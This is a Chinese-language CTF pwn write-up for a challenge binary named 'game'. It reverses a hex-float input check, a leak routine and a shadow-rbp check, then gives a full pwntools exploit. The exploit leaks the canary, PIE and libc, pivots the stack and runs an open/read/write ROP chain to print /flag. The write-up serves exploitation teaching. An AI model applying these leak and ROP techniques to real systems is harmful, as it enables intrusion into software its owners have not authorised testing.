game

我们这个题目重点还是在逆向,核心并不是放在利用上

逆向

这个是主函数

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  alarm(0x3Cu);
  menu();
  seccomp();
  start();
}

seccomp和之前一样,只不过是多了一点规则,显的很乱

我们来看一下seccomp总结的一些点

这里对比一下上一个题目,上一个题目真实是这样的

  prog.len = 8;
  prog.filter = filter;

  prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
  prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);

没有还原的伪代码是这样的

  __int64 v3; // r14
  ssize_t v4; // rax
  int v5; // [rsp+0h] [rbp-98h] BYREF
  _QWORD *v6; // [rsp+8h] [rbp-90h]
  _QWORD v7[17]; // [rsp+10h] [rbp-88h] BYREF

  v7[9] = __readfsqword(0x28u);
  v7[2] = 32;
  memset(buf_, 0, sizeof(buf_));
  v7[0] = 0x400000020LL;
  v7[1] = 0xC000003E05000015LL;
  v7[3] = 0x4000000000030035LL;
  v7[4] = 0x3B00020015LL;
  v7[5] = 0x14200010015LL;
  v7[6] = 0x7FFF000000000006LL;
  v7[7] = 0x8000000000000006LL;
  LOWORD(v5) = 8;
  v6 = v7;
  if ( prctl(38, 1, 0, 0, 0) >= 0 && prctl(22, 2, &v5) >= 0 )

对比一下这个题目,这里是有21条规则

  LOWORD(v2) = 21;
  if ( prctl(38, 1, 0, 0, 0, v0, v2, &n32) )
    sub_1987("Failed to enable no_new_privs.");
  if ( prctl(22, 2, &v2) )
    sub_1987("Failed to lock the archive.");
之后还有一个注意的是这个反编译的噪声,这里第一个prctl看着是传递了这么多的参数,实际上看汇编的话是传递的是和对比的那个参数是一样的,这个点需要注意
.text:0000000000001EF8                 mov     r8d, 0
.text:0000000000001EFE                 mov     ecx, 0
.text:0000000000001F03                 mov     edx, 0
.text:0000000000001F08                 mov     esi, 1
.text:0000000000001F0D                 mov     edi, 26h ; '&'  ; option
.text:0000000000001F12                 mov     eax, 0
.text:0000000000001F17                 call    _prctl
然后还有一个注意的点,这里有一部是filter指针指向filter的区域的,汇编是很清楚的
.text:0000000000001EEA                 lea     rax, [rbp+var_B0]
.text:0000000000001EF1                 mov     [rbp+var_C0.filter], rax

但是我们看伪代码是没有的这一步的,给我们省略了,或者是混在了传参了

  prog_.len = 21;
  if ( prctl(38, 1, 0, 0, 0, v0, *&prog_.len, &n32) )
    sub_1987("Failed to enable no_new_privs.");

我们一开始还原失败,这里也是识别出bug了(这个在伪代码是看不出来什么区别的)

.text:0000000000001EEA                 lea     rax, [rbp+var_B0]
.text:0000000000001EF1                 mov     [rbp-0B8h], rax

​ 之后进入功能函数,这个题目的难点主要是在于如何交互

void __noreturn start()
{
  void (__noreturn *p_Unknown_command.)(); // rdi
  unsigned __int64 n3; // [rsp+8h] [rbp-8h]

  p_Unknown_command. = start;
  _cyg_profile_func_enter();
  while ( 1 )
  {
    menu_0();
    n3 = input_0();
    if ( n3 == 3 )
    {
      puts("Goodbye, archivist.");
      _exit(0);
    }
    if ( n3 > 3 )
    {
LABEL_10:
      p_Unknown_command. = "Unknown command.";
      puts("Unknown command.");
    }
    else if ( n3 == 1 )
    {
      draft(p_Unknown_command.);
    }
    else
    {
      if ( n3 != 2 )
        goto LABEL_10;
      archive(p_Unknown_command.);
    }
  }
}

这里的话我们追进input_0函数,因为这个的返回值决定了后续分支的走法

unsigned __int64 input_0()
{
  unsigned __int64 v0; // rbx
  unsigned __int64 target_[2]; // [rsp+0h] [rbp-30h] BYREF
  char heap_heap[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  _cyg_profile_func_enter();
  memset(heap_heap, 0, sizeof(heap_heap));
  input1(heap_heap, 8u);
  target_[0] = 0;
  input2(heap_heap, target_);
  target_[1] = target_[0];
  v0 = target_[0];
  _cyg_profile_func_exit();
  return v0;
}

我们看到这里主要是target,然后我们追进去,这里当时是在赛场上不断调试调试出来的,压根没有现在分析看起来的这么轻松

首先看第一个函数,主要是往heap_heap这个数组里面写入数值(命名为这个是因为heap是用来存储的,这样的话从意义层面是更好理解的)

值得招笑的是7b的小模型连这个函数实现的功能逻辑都看不明白,认为回车符没有终止写入(虽然说从某种意义上确实),这个主要是实现了一个gets的功能

__int64 __fastcall input1(__int64 heapheap, unsigned __int64 n_8)
{
  __int64 idx_1; // rbx
  __int64 index; // rax
  char buf; // [rsp+17h] [rbp-29h] BYREF
  __int64 idx; // [rsp+18h] [rbp-28h]
  ssize_t v7; // [rsp+20h] [rbp-20h]
  unsigned __int64 v8; // [rsp+28h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  _cyg_profile_func_enter();
  idx = 0;
  if ( n_8 )
  {
    while ( idx + 1 < n_8 )                     // 8个长度,写7个字符
    {
      buf = 0;
      v7 = read(0, &buf, 1u);
      if ( v7 <= 0 )                            // 检测问题
        _exit(0);
      if ( buf == '\n' )
        break;
      index = idx++;
      *(index + heapheap) = buf;
    }
    *(heapheap + idx) = 0;
    if ( n_8 == idx + 1 )                       // 吸收回车符
    {
      buf = 0;
      while ( read(0, &buf, 1u) > 0 && buf != '\n' )
        ;
    }
    idx_1 = idx;
  }
  else
  {
    idx_1 = 0;
  }
  _cyg_profile_func_exit();
  return idx_1;
}

之后我们主要来看第二个函数,这个的话很复杂,主要是当时是看到了一个浮点数,这里的话首先是不能包含x这个字符,之后会对我们输入的字符进行%ld的格式比较,这里还会比较大小,对这个题目没有用,因为我们只需要关注这里的返回值即可,通过这两个判断就能实现赋值的操作

unsigned __int64 __fastcall input2(const char *heap_heap, unsigned __int64 *target)
{
  double heapheapheap; // xmm0_8
  __int64 size; // [rsp+1Ch] [rbp-224h]
  unsigned __int64 num; // [rsp+20h] [rbp-220h]
  unsigned __int8 heap[256]; // [rsp+30h] [rbp-210h] BYREF
  char num2[264]; // [rsp+130h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+238h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  _cyg_profile_func_enter();
  *target = 0;
  memset(heap, 0, sizeof(heap));
  memset(num2, 0, 0x100u);
  size = strlen(heap_heap);
  if ( size > 19 )                              // 这里怎么写19
    LODWORD(size) = 19;
  memcpy(heap, heap_heap, size);
  if ( !strchr(heap, 'x') )                     // 不能包含x
  {
    heapheapheap = strtod(heap, 0);
    if ( heapheapheap >= 9.223372036854776e18 )
      num = (heapheapheap - 9.223372036854776e18) ^ 0x8000000000000000LL;
    else
      num = heapheapheap;
    sprintf(num2, "%ld", num);                  // 这里是进行转化了的
    if ( judge1(heap, num2) == 1 && !judge(heap, num) )
      *target = num;                            // 这里走不了就很难受
  }
  _cyg_profile_func_exit();
  return v8 - __readfsqword(0x28u);
}

这里是第一个判断

这个第一个while的循环主要是定义了一个哈希桶类似,长度有264字节,就是对有的字符标记为1

之后的话对ld存储到num2进行比较,假如说有相同的,就会跳过循环,然后不进行赋值操作

__int64 __fastcall judge1(_BYTE *a1, _BYTE *a2)
{
  unsigned int v2; // ebx
  _BYTE buf_[264]; // [rsp+20h] [rbp-120h] BYREF
  unsigned __int64 v7; // [rsp+128h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  _cyg_profile_func_enter();
  memset(buf_, 0, 0x100u);
  while ( *a1 )
    buf_[*a1++] = 1;
  while ( *a2 )
  {
    if ( buf_[*a2] )                            // 这个判断蠢sb
    {
      v2 = 0;
      goto LABEL_10;
    }
    ++a2;
  }
  v2 = 1;
LABEL_10:
  _cyg_profile_func_exit();
  return v2;
}

第二个判断就没有这么不合理,基本都能满足返回值的要求,只要解析的能合理进行

__ctype_b_loc() 返回的是一张字符分类表,表里每个字符都有一组 bit 标志

而0x2000是空白字符的标识

这个的话见了很多次,原型函数的话差不多是isspace或者是isxdigit

__int64 __fastcall judge(unsigned __int8 *heapheap, __int64 num)
{
  unsigned int var; // ebx
  __int64 v4; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int8 *heap; // [rsp+18h] [rbp-28h]
  __int64 num_1; // [rsp+20h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  _cyg_profile_func_enter();
  heap = heapheap;
  v4 = 0;
  num_1 = 0;
  while ( ((*__ctype_b_loc())[*heap] & 0x2000) != 0 ) //跳过空白字符
    ++heap;
  if ( *heap == '+' ) //允许有+号
    ++heap;
  if ( *heap == '0' && (heap[1] == 'x' || heap[1] == 'X') )
  {
    if ( ((*__ctype_b_loc())[heap[2]] & 0x1000) != 0 )
    {
      *__errno_location() = 0;
      num_1 = __isoc23_strtoull(heap, &v4, 0x10);//解析成10进制
      if ( *__errno_location() )
        var = 0;
      else
        LOBYTE(var) = num_1 == num;
    }
    else
    {
      var = 0;
    }
  }
  else
  {
    var = 0;                                    // 走了这里
  }
  _cyg_profile_func_exit();
  return var;
}

然后直接说结论吧,这个绕过是比较难想的在断网的环境下,需要用0Xxxpxx这个这个格式的数据去进行绕过

之后我们这里就能进入这个函数

unsigned __int64 __fastcall draft(__int64 p_Unknown_command.)
{
  _BYTE s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  _cyg_profile_func_enter();
  puts("\n[Chronicle Draft]");
  printf("Draft size: ");
  size = input_0();
  if ( size && size <= 0xE8u )
  {
    memset(s, 0, 0x10u);
    puts("Write your draft:");
    input(s, size);
    printf("Preview bytes: ");
    size2 = input_0();
    if ( size2 <= 0x30u )
    {
      puts("Archive preview:");
      if ( size2 )
        leak(s, size2);
      size2 = 0;
      size = 0;
      puts("\nThe scribes seal the draft.");
    }
    else
    {
      puts("That preview would damage the parchment.");
    }
  }
  else
  {
    puts("The guild rejects that draft size.");
  }
  _cyg_profile_func_exit();                     // 这里有个返回地址的检查,修改返回地址直接退出
  return v3 - __readfsqword(0x28u);
}

诶,这里提供了一个gadget片段,当时是没有往这个想的(看这个名字还以为是库函数来着),这里看了看汇编才突然意识到

.text:00000000000012D5 ; __unwind {
.text:00000000000012D5                 push    rbp
.text:00000000000012D6                 mov     rbp, rsp
.text:00000000000012D9                 mov     [rbp+var_8], rdi
.text:00000000000012DD                 mov     [rbp+var_10], rsi
.text:00000000000012E1                 nop
.text:00000000000012E2                 pop     rbp
.text:00000000000012E3                 retn
.text:00000000000012E3 ; } // starts at 12D5

之后这里是给了打印函数,这里我们调试看到是走的局部变量打印的,默认常规数据并没有走全局变量的分支的

这里是有越级的,可以利用else分支打印出来pie和canary的地址,主要一开始别输入特定的数值,一般是触发不了if分支的。当时看的效果,现在是看原理,有ai指导看起来是轻松很多了的

__int64 __fastcall leak(__int64 p_s, unsigned __int64 n0x30)
{
  unsigned __int64 n0x30_1; // [rsp+10h] [rbp-20h]
  size_t n; // [rsp+18h] [rbp-18h]

  _cyg_profile_func_enter();
  for ( n0x30_1 = 0; n0x30_1 < n0x30; n0x30_1 += n )
  {
    n = n0x30 - n0x30_1;
    if ( n0x30 - n0x30_1 > 8 )
      n = 8;
    if ( encry((p_s + n0x30_1)) )
      write(1, &buf_, n);
    else
      write(1, (p_s + n0x30_1), n);
  }
  return _cyg_profile_func_exit();
}

想要走全局变量的分支的话,需要控制好sub_1320的返回值

__int64 __fastcall encry(__int64 *a1)
{
  unsigned int v1; // ebx

  _cyg_profile_func_enter();
  v1 = sub_1320(*a1);
  _cyg_profile_func_exit();
  return v1;
}

也就是这里,让2返回非零数据即可

这里的话需要让v1第6和第7字节是0,第5字节大于0x6f即可

__int64 __fastcall sub_1320(__int64 a1)
{
  bool v1; // al
  unsigned int v2; // ebx

  _cyg_profile_func_enter();
  v1 = !__PAIR16__(BYTE6(a1), HIBYTE(a1)) && BYTE5(a1) > 0x6Fu;
  v2 = v1;
  _cyg_profile_func_exit();
  return v2;
}

也就是我们传入的数值,下就是这面这个范围,之后会把bss里面的数值打印出来

这里不能看到bss是数组名,然后就认为打印是指针,其实&加上是打印数组里面的内容,不加的话是打印首个元素的内容
0000700000000000 <= x <= 0x0000ffffffffffff
还有就是这个HIBYTE对应的是7字节,这种移位的看汇编是清晰很多的
.text:0000000000001343                 mov     rax, [rbp+var_28]
.text:0000000000001347                 shr     rax, 38h
.text:000000000000134B                 mov     [rbp+var_13], al
.text:000000000000134E                 mov     rax, [rbp+var_28]
.text:0000000000001352                 shr     rax, 30h
.text:0000000000001356                 mov     [rbp+var_12], al
.text:0000000000001359                 mov     rax, [rbp+var_28]
.text:000000000000135D                 shr     rax, 28h

这最后的话就是这个类似影子栈,这里主要是检查rbp

首先rbp不能是0,要不直接结束

之后就是检查是否满足对齐要求

__int64 __fastcall _cyg_profile_func_exit()
{
  __int64 vars0; // [rsp+20h] [rbp+0h]

  if ( !vars0 )
    sub_1249();
  sub_1278(vars0 + 8);
  return sub_12B8();
}

之后追进sub_1278这个函数里面,首先是检查了7f开头,之后检查了低位的对齐,也就是给否是8字节对齐(换句话说就是低三位是不是0)

当时就很可惜,看这个名字以为是专门为影子栈设计的库函数就没有多想(主要是那个浮点数的绕过给我整破防了我靠,等绕过去就已经很迷糊了)

__int64 __fastcall sub_1278(__int64 a1)
{
  __int64 result; // rax

  if ( (a1 & 0xFF0000000000LL) != 0x7F0000000000LL || (result = a1 & 7, (a1 & 7) != 0) )
    sub_1249();
  return result;
}

至此,逆向分析完成

利用

思路的话很简单,绕过浮点数进入选项1,之后泄露出来pie和canary之后

这个题目难点是泄露libc

我们泄露出来canary之后就能进行溢出,溢出的时候伪造好7f数值,之后再用pop_rbp这个指令片段衔接,实现绕过这个rbp检查的栈迁移,我们在栈迁移之前顺带打印出来libc,返回到这个位置控制size大小即可

我们这里可以泄露bss上的stdin指针实现泄露,之后还需要进行衔接

.text:0000000000002053                 lea     rax, aPreviewBytes ; "Preview bytes: "
.text:000000000000205A                 mov     rdi, rax        ; format
.text:000000000000205D                 mov     eax, 0
.text:0000000000002062                 call    _printf
.text:0000000000002067                 call    input_0

这里我们是泄露了stdin指针的,因为这个draft里面的每个自定义函数基本都有对于返回地址的检查的

所以说克服了泄露libc这个难点之后,还需要去克服canary以及影子rbp的问题,这里是另外的一个难点,这里是无法用之前的那种迁移到bss上泄露stdin指针的方式的,一旦真正迁移过去必定报错

所以找了另外的一个方法去进行泄露,这里的话我们借用magicgadget进行泄露,这个是可以直接返回一个libc指针的

b+ 0x5a9361411112                        leave
 ► 0x5a9361411113                        ret                                <__ctype_b_loc@plt>
    ↓
   0x5a9361410140 <__ctype_b_loc@plt>    jmp    qword ptr [rip + 0x3e8a]    <__ctype_b_loc>
    ↓
   0x79bd2772c9c0 <__ctype_b_loc>        endbr64
   0x79bd2772c9c4 <__ctype_b_loc+4>      mov    rax, qword ptr [rip + 0x1c7415]     RAX, [0x79bd278f3de0] => 0xffffffffffffffa0
   0x79bd2772c9cb <__ctype_b_loc+11>     add    rax, qword ptr fs:[0]               RAX => 0x79bd276ee6e0 (0xffffffffffffffa0 + 0x79bd276ee740)
   0x79bd2772c9d4 <__ctype_b_loc+20>     ret                                <0x5a9361410a24>
    ↓
   0x5a9361410a24                        mov    rdi, rax                            RDI => 0x79bd276ee6e0 —▸ 0x79bd278a38c0 ◂— 0x2000200020002
   0x5a9361410a27                        call   puts@plt                    <puts@plt>

这里之后我们紧接着push rbp,这样的话就能再次残留在栈上,绕过对于rbp的检查,这样之后我们就能直接可以拿到flag了,最终exp如下

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux','splitw','-l 100']
file = "./game"
io = process(file)
elf = ELF(file)
libc = ELF("./libc.so.6")

def dbg():	
    #gdb.attach(io,"b *$rebase(0x14C8)")
    #gdb.attach(io,"b *$rebase(0x1C6B)")
    #gdb.attach(io,"b *$rebase(0x1CAD)")
    gdb.attach(io,"b *$rebase(0x2112)")
    #gdb.attach(io,"b *$rebase(0x1902)")
    #pause()
sl = lambda x:io.sendline(x)
s  = lambda x:io.send(x)
sa = lambda x,y:io.sendlineafter(x,y)
rf=  lambda  :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))  
rt = lambda x:io.recvuntil(x if isinstance(x,bytes) else x.encode())
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x:int(io.recv(x),16)
it = lambda  :io.interactive()
sp = lambda  :sleep(1.5)

def pwn1():
    #dbg()
    rt(b'>')
    #s(b'0X30p-1')
    s(b'0X04p-2') #输入浮点数,进入选项一 
    s(b'\n')
    rt("Draft size: ")
    #s(b'0Xffp-2') #这里写入的数值是0x3f,这个空间可以溢出
    sl(b'0X04p-2')
    rt("Write your draft:\n")
    s(b'a')
    #0x3f这个是size的大小,用这个偏移泄露canary和libc
    rt("Preview bytes: ")
    #之后就是这里找泄漏点的偏移
    #sl(b'0X54p-2') #0x15
    sl(b'0X60p-1')
    rt("Archive preview:\n")
    data = io.recv(8)
    print(data)
    data = io.recv(8)
    print(data)
    canary = io.recv(8)
    print(canary)
    canary = u64(io.recv(8))
    print(hex(canary))
    rt(b'\x00'*8)
    pie = ru(6)-0x21bd
    print(hex(pie))
    rt("\nThe scribes seal the draft.")

    bss = elf.bss() + pie
    vuln = pie + 0x1F8D #返回到draft函数
    gdb.attach(io)
    rt(b'>')
    s(b'0X04p-2')
    s(b'\n')
    rt("Draft size: ")
    sl(b'0X74p1')
    rt("Write your draft:\n")
    pay = b'a'*0x18 + flat(canary,bss+0x200,pie + 0x1140,pie+0x1A24,0,vuln)
    pay = pay.ljust(0xe8,b'\0')
    s(pay)
    rt("Preview bytes: ")
    sl(b'0')
    rt("Archive preview:\n")
    rt("the draft.\n")

    lib = ru(6) - 0x1b28c0
    libc.address = lib
    print("libc:",hex(lib))

    rax = libc.address + 0x00000000000dd237
    rdi = libc.address + 0x000000000010f78b
    rsi = libc.address + 0x0000000000110a7d
    rbx = libc.address + 0x00000000000586e4
    mov_rdx_rbx = libc.address + 0x00000000000b0153
    syscall = libc.address + 0x0000000000098fb6
    rsp = libc.address + 0x000000000003c068

    rt("Draft size: ")
    sl(b'0X74p1')
    rt("Write your draft:\n")
    pay = b'a'*0x18 + flat(canary,0x7f0000000000)
    pay += flat(rax,0,rsi,bss,rbx,0x200,mov_rdx_rbx,0,0,0,syscall,rsp,bss+8)
    pay = pay.ljust(0xe8,b'\0')
    s(pay)
    rt("Preview bytes: ")
    sl(b'0')
    rt("Archive preview:\n")

    flag_addr = bss
    store_addr = bss + 0x400
    pay = flat(rax,2,rdi,flag_addr,rsi,0,syscall)
    pay += flat(rax,0,rdi,3,rsi,store_addr,rbx,0x30,mov_rdx_rbx,0,0,0,syscall)
    pay += flat(rax,1,rdi,1,rsi,store_addr,syscall)
    s(b'/flag\0\0\0'+pay)

if __name__ == "__main__":
    pwn1()
    it()